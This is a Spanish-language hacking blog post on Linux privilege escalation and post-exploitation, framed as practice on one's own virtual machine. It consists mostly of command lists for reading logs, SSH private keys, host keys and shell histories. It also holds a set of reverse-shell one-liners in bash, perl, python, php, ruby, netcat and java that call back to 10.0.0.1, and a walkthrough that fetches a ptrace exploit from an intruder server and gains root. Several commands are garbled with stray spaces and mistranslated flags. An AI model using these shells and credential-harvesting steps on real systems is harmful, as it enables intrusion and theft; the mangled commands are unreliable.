Blog

Elevación de Privilegios en Linux Parte II

Vamos a recordar el post anterior… Si lo leíste con atención te tendría que haber surgido unas preguntas desde el principio ..

Lo que se pretende es que pienses con lógica y sepas lo que haces .. repito que metasploit está “chupi” de la muerte, pero aquí la misión es que sepas Atacar, explotar, esconder,”pillar”,borrar y salir como si nada hubiera pasado sin herramientas .. luego tu , como todos, “tiramos” de nuestras herramientas preferidas.

Para esto vas a hacer este ejercicio mental que lo usarás al final del post.. Vas a pensar “EN” el atacante, es decir, vas a pensar “EN TI MISMO”, y te vas a poner delante de un Linux virtualizado. Toda la Elevación de Privilegios y en si toda la post explotación tiene su base “EN” el atacante y no “COMO” el atacante.. Es decir, en “TI

Por lo tanto, cuando leas este post y tengas que practicar comandos piensa DONDE TIENES TU “cositas” interesantes para buscar aparte de darte yo una serie “rutas” ya que comandos son “siempre” los mismos.

Si os daís cuenta ya en este articulo metí estos comandos que los teneis en muchos sitios, pero no siempre tiene por qué ser así, ya que OS TENDREIS QUE ADAPTAR AL OBJETIVO EN SI y quizás lo que queráis está en otro sitio .. por eso intentar no ser rígidos para que en ese momento de quedarte en blanco puedas salir por otro sitios

Vuelve a leer esta parte ..

ATACANTE LOCAL = ATAQUE LOCAL.

En casi todos los casos, los firewalls están configurados para restringir el acceso desde sistemas y redes externas, pero el tráfico que proviene de la interfaz interna 127.0.0.1, por línea general no suele tener ningún tipo de restricción.. es más , filtrar el tráfico de esta interfaz provoca directamente que muchas aplicaciones tengan problemas de funcionamiento y es por ello que os vamos a fijar en esto aprovechando que este camino puede estar abierto con una probabilidad alta.

(Si te vino la pregunta “Y como scaneo, enumero y exploto? ENHORABUENA)

Bueno, pues un usuario local( o externo una vez dentro), puede perfectamente intentar scanear, enumerar y explotar servicios locales a los que no se tiene acceso desde el exterior.. y aquí nos encontramos con dos posibilidades…

Bueno, pues aquí está el “turrón” de la elevación de privilegios unido a “algo” que acabo de decir..

“scanear, enumerar ,explotar servicios locales,.. y adaptarse al entorno.”

(Dependiendo de tu habilidad tardarás más o menos, pero ya te adelanto que ya puedes ponerte a practicar porque esto no es inmediato .. de hecho es un proceso muy bonito pero que tienen su “HORAS” de practicas.)

A tener en cuenta

1)  Linux es ahora más seguro y esto hace que se complique el tema de elevar privilegios para hacer más difícil la escalada de privilegios

2) Distribuciones Linux? Y más .. cada una puede ser un mundo a la hora de explotar

3) Ya se actualiza automáticamente.. todo cambia

4) Debes saber Linux desde 0

5) El control de acceso y el sistema de archivos es CLAVE para la elevación de privilegios

6)Ya no es mas complicado elevar privilegios seguro que en un Windows, los tiempos han cambiado

7)Solo te puedo decir seguro que es muy difícil al principio y que te vas a hartar al fallar y no conseguir tu objetivo .. Solo quien persevera llega, recuérdalo

Por lo tanto ya te deberían haber surgido las preguntas que TU mismo vas a responder en el “Linux “virtual que tienes.(al final del post lo entenderás)

    Cual es el Sistema Operativo?

    Que servicios están corriendo?

    Kernel?

    A que grupo pertenezco?

   Que usuario soy? Quien leches soy???

   Hasta donde puedo llegar con los permisos que tengo?

  Cuantos usuarios existen en el sistema?

  Cual/es de esos usuarios son los que me interesan para tener sus privilegios?

  ¿Quién está conmigo en estos momentos en el sistema?

  Qué archivos de configuración se pueden leer / escribir en / etc /?

  Contenido en / var /?

 ¿Es posible escribir archivos en los lugares que se encuentran en otra ruta usuarios?

  Archivos SUID y GUID

  Identificar los archivos que sean legibles y con permisos de escritura

  Algo sin montar?

 Cómo se montan?

 Puedo saber algo más de todos los usuarios para tener un perfil de ellos?

 Y que estarán haciendo.. están “cerca”?

 Y Aplicaciones?

 Necesito saber la configuración de red?

 ( si la tienes que responder apaga y vámonos)

 Cual/ es la MAC? / NIC?

 Qué herramientas de desarrollo / idiomas están instalados / compatible?

 ¿En qué áreas se pueden escribir?

 ¿Dónde se puede ejecutar código?

¿Cómo se pueden subir archivos? ftp?

 Los usuarios pueden salir hacia fuera? Cuales?

No tendré un “Tunelcillo”?

Y ahora, como exploto? BOOM !! 😛

En fin, que si te das cuenta no te tendrías que poner ni medio nervioso a la hora de hacer esto en una situación real .. por qué? Porque todo esto es lo que deberías comprobar tu en tu Linux virtualizado una y otra vez hasta que te salga “sangre” en los dedos de repetirlo, aunque la mayoría son de lógica.

Tu que guardas con más celo? Todo lo que sea “root”.. pues que va a intentar cotillear? Todo lo que sea /root o lo que tienes dentro de casita no? Pues el /Home.

“COTILLEANDO” ARCHIVOS IMPORTANTES Esto es una parte de la Post Explotación evidentemente

locate tar | grep [.]tar$ # Recuerda actualizar la Base de Datos antes de correr locate

locate tgz | grep [.]tgz$

locate sql | grep [.]sql$

locate settings | grep [.]php$

locate config.inc | grep [.]php$

cat / var / log / apache / access.log

cat / var / log / auth.log

cat / var / log / chttp.log

cat / var / log / cups / error_log

cat / var / log / dpkg.log

cat / var / log / faillog

cat / var / log / httpd / access_log

cat / var / log / httpd / access.log

cat / var / log / httpd / error_log

cat / var / log / httpd / error.log

cat / var / log / lastlog

cat / var / log / lighttpd / access.log

cat / var / log / lighttpd / error.log

cat / var / log / lighttpd / lighttpd.access.log

cat / var / log / lighttpd / lighttpd.error.log

cat / var / log / messages

cat / var / log / secure

cat / var / log / syslog

ls /home/*/id*

Http://www.thegeekstuff.com/2011/08/linux-var-log-files/

cat / var / log / wtmp

cat / var / log / xferlog

cat / var / log / yum.log

cat / var / run / utmp

cat / var / webmin / miniserv.log

cat / var / www / logs / access_log

cat / var / www / logs / access.log

Piensa EN tu “makina” y actua igual .. no tiene más secretos. Los comandos siempre son los mismos.. 😉 

ls-alh / var / log

ls-alh / var / mail

ls-alh / var / spool

ls-alh / var / spool / lpd

ls-alh / var / lib / pgsql

ls-alh / var / lib / mysql

cat / var/lib/dhcp3/dhclient.leases

ls-alh / var/lib/dhcp3 /

ls-alh / var / log / postgresql /

ls-alh / var / log / proftpd /

ls-alh / var / log / samba /

.properties | grep [.]properties # java config files

locate .xml | grep [.]xml # java/.net config files

find /sbin /usr/sbin /opt /lib `echo $PATH | ‘sed s/:/ /g’` -perm /6000 -ls # find suids

locate rhosts

cat / etc / httpd / logs / access_log

cat / etc / httpd / logs / access.log

cat / etc / httpd / logs / error_log

cat / etc / httpd / logs / error.log

find / etc / legible de tipo f 2> / dev / null # Cualquier persona

find / etc / legible-type f-maxdepth 1 2> / dev / null # Cualquier persona

ls-ARL / etc / | awk ‘$ 1 ~ / ^ * w * /..’ 2> / dev / null # Cualquier persona

ls-ARL / etc / | awk ‘$ 1 ~ / ^ .. w /’ 2> / dev / null # Propietario

ls-ARL / etc / | awk ‘$ 1 ~ / ^ ….. w /’ 2> / dev / null # Grupo

ls-ARL / etc / | awk ‘$ 1 ~ / w $ /.’ 2> / dev / null # Otros

cat / var/log/apache2/access_log

cat / var/log/apache2/access.log

cat / var/log/apache2/error_log

cat / var/log/apache2/error.log

cat / var / log / apache / access.log

ls -dlR */ #

ls -alR | grep ^d

find /var -type d

ls -dl `find /var -type d`

ls -dl `find /var -type d` | grep -v root

find /var ! -user root -type d -ls

find /var/log -type f -exec ls -la {} \;

find / -perm -4000 (find all suid files)

ls -alhtr /mnt

ls -alhtr /media

ls -alhtr /tmp

ls -alhtr /home

cd /home/; treels /home/*/.ssh/*

find /home -type f -iname ‘.*history’

ls -lart /etc/rc.d/

 

VAMOS A POR LOS USUARIOS Y SU INFORMACIÓN

 

ls -alh /home/*/

ls -alh /home/*/.ssh/

cat / var/apache2/config.inc

cat / var / lib / mysql / mysql / user.MYD

cat / etc / httpd / logs / access_log

cat / etc / httpd / logs / access.log

cat / etc / httpd / logs / error_log

cat / etc / httpd / logs / error.log

cat / var/log/apache2/access_log

cat / var/log/apache2/access.log

cat / var/log/apache2/error_log

cat / var/log/apache2/error.log

cat / var / log / apache / access.log

cat / var / log / apache / access.log

cat / var / log / auth.log

cat / var / log / chttp.log

cat / var / log / cups / error_log

cat / var / log / dpkg.log

cat / var / log / faillog

cat / var / log / httpd / access_log

cat / var / log / httpd / access.log

cat / var / log / httpd / error_log

cat / var / log / httpd / error.log

cat / var / log / lastlog

cat / var / log / lighttpd / access.log

cat / var / log / lighttpd / error.log

cat / var / log / lighttpd / lighttpd.access.log

cat / var / log / lighttpd / lighttpd.error.log

cat / var / log / messages

cat / var / log / secure

cat / var / log / syslog

cat / var / log / wtmp

cat / var / log / xferlog

cat / var / log / yum.log

cat / var / run / utmp

cat / var / webmin / miniserv.log

cat / var / www / logs / access_log

cat / var / www / logs / access.log

ls-alh / var/lib/dhcp3 /

ls-alh / var / log / postgresql /

ls-alh / var / log / proftpd /

ls-alh / var / log / samba /

cat / root / anaconda-ks.cfg

cat /home/*/.ssh/authorized_keys

cat /home/*/.ssh/known_hosts

cat / etc / ssh / ssh_config

cat / etc / ssh / sshd_config

cat /home/*/.*hist* # De aquí sacas mucho mucho … 

find /home/*/.vnc /home/*/.subversion -type f

grep ^ssh /home/*/.*hist*

grep ^telnet `/home/*/.*hist*

grep ^mysql /home/*/.*hist*

cat /home/*/.viminfo

sudo -l 

crontab -l

cat /home/*/.mysql_history 

cat ~ / .ssh / authorized_keys

cat ~ / .ssh / identity.pub

cat ~ /. bashrc

cat ~ /. perfil

cat / var / mail / root

cat / var / spool / mail / root

cat ~ / .ssh / identity

cat ~ / .ssh / id_rsa.pub

cat ~ / .ssh / id_rsa

cat ~ / .ssh / id_dsa.pub

cat ~ / .ssh / id_dsa

cat / etc / ssh / ssh_host_dsa_key.pub

cat / etc / ssh / ssh_host_dsa_key

cat / etc / ssh / ssh_host_rsa_key.pub

cat / etc / ssh / ssh_host_rsa_key

cat / etc / ssh / ssh_host_key.pub

cat / etc / ssh / ssh_host_key

 

TENIENDO EL CONTROL Y “REVERSEANDO” LA SHELL

BASH

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

PERL

perl -e ‘use Socket;$i=”10.0.0.1″;$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’

PYTHON

Linux / Python 2.7:

python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.0.0.1″,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’

PHP

php -r ‘$sock=fsockopen(“10.0.0.1″,1234);exec(“/bin/sh -i <&3 >&3 2>&3″);’

Para subir un php.. no uses esta shell reversa, usa una “php reverse shell” más “robusta” .. está es para empezar, ya pondré las más  ”adecuadas” dependiendo el “entorno” ..

RUBY

ruby -rsocket -e’f=TCPSocket.open(“10.0.0.1″,1234).to_i;exec sprintf(“/bin/sh -i <&%d >&%d 2>&%d”,f,f,f)’

NETCAT

nc -e /bin/sh 10.0.0.1 1234 # Existen más .. Lo mismo, se iré mostrando.

JAVA

r = Runtime.getRuntime()

p = r.exec([“/bin/bash”,”-c”,”exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done”] as String[])

p.waitFor()

 X-TERM

Una de las más sencillas… Todos los comandos deben ser ejecutados en el servidor Asumimos que tenemos esta ip 10.0.0.1 por TCP en el puerto 6001.

xterm -display 10.0.0.1:1

Para capturar el xterm entrante comienza un X-Server (:1 y escuha pr defecto en el 6001) y tienes la opción de Xnest que tienes que correr en tu equipo, para hacer esto

Xnest :1

Tienes que autorizar al “objetivo” , recuerda que los comandos también corren en tu mákina ..

xhost +targetip

 

Encontrar el código del exploit 

 

Puedes hacer todo lo que se te ocurra ..

By the way .. Ejercicio 😉 😛

Necesario

-Una Maquina virtual con Ubuntu sin actualizar..

-“Eres el administrador de la web de un colegio bilingüe con sedes mas que profesores en todo el mundo. Piensa durante cinco minutos EN lo que un hacker haría si te hubiera comprometido tu Linux y por lo tanto EN lo que tu te comprometerías a ti mismo. Suponemos que tienes todo.. mysql, apache,ssh,ftp …

-Vete apuntando las ideas en un cuaderno o una hoja.

-Saca estos comando por impresora y te los pones al lado de “las ideas de los cinco minutos”

-Ya lo tienes? HAZ LO MISMO YA pensando EN sus/tus movimientos!! 😉

Objetivos:

-Ver el contenido de los ficheros o archivos

-Que te muevas por todo el sistema si eres novato adquiriendo agilidad

-Control del sistema de ficheros de Linux

-“Master” del control de acceso

-Conocimiento de usuarios, permisos…

-Visionado de tus archivos y ficheros más confidenciales para familiarizarte con la salida que tienen cada uno de ellos

-Rapidez en el movimiento por todo el sistema

-Rapidez en la ejecución de los comandos

-Conseguir la explotación de “tu Linux”

-Elevar privilegios en tu mákina

-Disminución de los nervios a la hora de enfrentarte a ello en “real”

-Debes repetirlo hasta que te lo sepas de “memoria”

-Repetirlo

-Repetirlo

-Repetirlo

Ejemplo de explotación

A modo de ejemplo sencillo y “antiguo” vamos a Explotar la vulnerabilidad “ptrace” con una condición de carrera en los núcleos 2.2 y 2.4

Para conseguir explotar la vulnerabilidad ptrace, lo único que vamos a hacer es conseguir el exploit y ejecutarlo en el sistema victima.


$ wget http://servidor_web_intruso/ptrace.c

-19:05:52-http://servidor_web_intruso/ptrace.c

=>‘ptrace.c’

Resolving servidor_web_intruso… done.

Connecting to servidor_web_intruso[10.1.0.2]:80… connected

HTTP request sent. Awaiting response… 200 OK

 

Length: unspecified


 

[<=>]  2.046 275,07K/s

19:05:52 (275.07 KB/s) – ‘ptrace.c’ saved [2046]


$ gcc –o ptrace ptrace.c


$ ./ptrace

[+] Attached to 11862

[+] Waiting for signal

[+] Signal caught

[+] Shellcode placed at 0x4000ed4d

[+] Now wait for suid shell…

Sh-2.05a# id

Uid=0(root) gid=0(root) groups=0(root), 1(bin), 2(daemon), 3(sys), 4(adm), 6(disk), 10(wheel)

Cuando entendáis a hacer esto, ya podéis usar metasploit, mientras tanto es lo mismo que “pan con pan”.. “comida de tontos”, no os engañéis 😉

Referencias:

LPIC 1 / LPIC 2

0Day Security

50 Most Frequently Used UNIX / Linux Commands (With Examples)

20 Linux Log Files that are Located under /var/log Directory

Linux 101 Hacks eBook

Security Focus

Espero que os haya gustado y alguien haga este ejercicio de entrenamiento , por lo menos 1 habrá 😉

Un saludo

Juan Carlos García

Live Free Or Die Hacking

  1. R0dW3
    R0dW309-25-2013

    D.P.M. como siempre!
    Graciass!

  2. fpalenzuela
    fpalenzuela09-26-2013

    Excelente post. Muchas gracias.

  3. Leda
    Leda10-04-2013

    Muy bueno. Soy adicta a este blog!
    Enhorabuena a todos y gracias por compartir.

Leave a Reply

*

    No Twitter Messages